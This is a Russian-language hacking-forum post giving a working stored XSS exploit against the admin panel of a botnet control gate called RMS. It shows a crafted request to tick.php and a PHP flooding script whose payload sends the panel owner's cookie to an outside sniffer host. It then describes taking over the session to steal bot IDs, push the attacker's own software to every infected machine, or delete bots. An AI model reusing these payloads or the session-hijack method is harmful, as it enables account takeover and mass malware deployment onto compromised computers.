Авторизация  
TEXHO

Cyber Industries Gate — Активная XSS [2016]

В теме 1 сообщение

Сегодня мы будем чекать на баги админ-панель сборки RMS.

 

Изучив весь сорц, я обнаружил, что работа с бд идет через PDO, а значит ловить скуль-инжекты было практически бессмысленно. На удачу, попробовал поискать second order injection, но и этого тоже не было, потому как контент из базы данных почти не использовался в запросах (кому интересно, как это можно было бы заюзать - хттп://stackoverflow.com/questions/12952187).

 

Active XSS

 

Оставалось только искать баги в клиентской части. Тут тоже все было довольно печально - все переменные либо приводились к int, либо фильтровались через htmlspecialchars. Однако, часть переменных находилась внутри одинарных кавычек события onclick (которые функция htmlspecialchars по умолчанию не преобразует), что позволяло внедрить кривую хранимую XSS.

 

index.php, 98 строка:

 

<span class="input-group-addon btn" onclick="saveComment('" . htmlspecialchars($value['RMSID']) . "', this)">
index.php, 107 строка:

 

<button class="btn btn-primary btn-xs" onclick="executeFocus('" . htmlspecialchars($value['RMSID']) . "')">
Гейт, куда стучат боты tick.php:

 

Code:
insertIntoDB(    $_REQUEST['id'],        $_REQUEST['userpc'],        $_REQUEST['os'],        $_REQUEST['admin'],        $_REQUEST['comment']            );$command = getCommand($_REQUEST['id']);if (empty($command))    print("TRUE");else     print($command);
Отправляем:

 

/tick.php?id=1234', this); alert(document.cookie);a=('&os=123&userpc=win&admi n=1&comment=hello
В админке жмакаем на кнопку редактирования комментария или на кнопку фокуса:

 

3AdhxhX4QPaNsNuU1N0ASw.png

 

Автор сказал, что флуд админки не считается за багу, однако, чтобы получить хоть какой-то результат немного пофлудить все-таки придется:

 

Code:
<?phpfor($i=0;$i<50;$i++){    $gate = "http://rms/tick.php";    $payload = '?id=1337'.rand(1,1000).'',this);img='.urlencode('new Image();').'img.src='http://sniff/snf.php?'+document.cookie;a=('&os=123&userpc=win&admin=1&comment=p';    echo file_get_contents($gate.$payload)."<br>";}
Принцип следующий:

 

Ботовод заходит в админку.

Видит кучу левых ботов.

Пытается их удалить/отредактировать...

Если повезет (о боженька, молю тебя об этом) запускает наш js-код...

И кука админа летит на сниффер:

 

amjXQf4pRWmQm9W8pf_nlA.png

 

ПРОФИТ!

 

Подставляем куку себе в браузер, заходим в админку, пиздим ID ботов/даем всем задание на прогруз своего софта/удаляем ботов.

 

Finish.

 

Хочется заметить, что данная админка существенно отличается в плане защиты от того, с чем я сталкивался раньше. Все что мы смогли найти - одна xss, которая эксплуатируется не самым простым способом. Плюсом, в файле robots.txt закрыта индексация и найти еще таких админок просто не вышло.

 

P.S. есть еще одна мелкая ошибка - клип Prodigy в ифрейме не открывается.

 

© Lebron

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация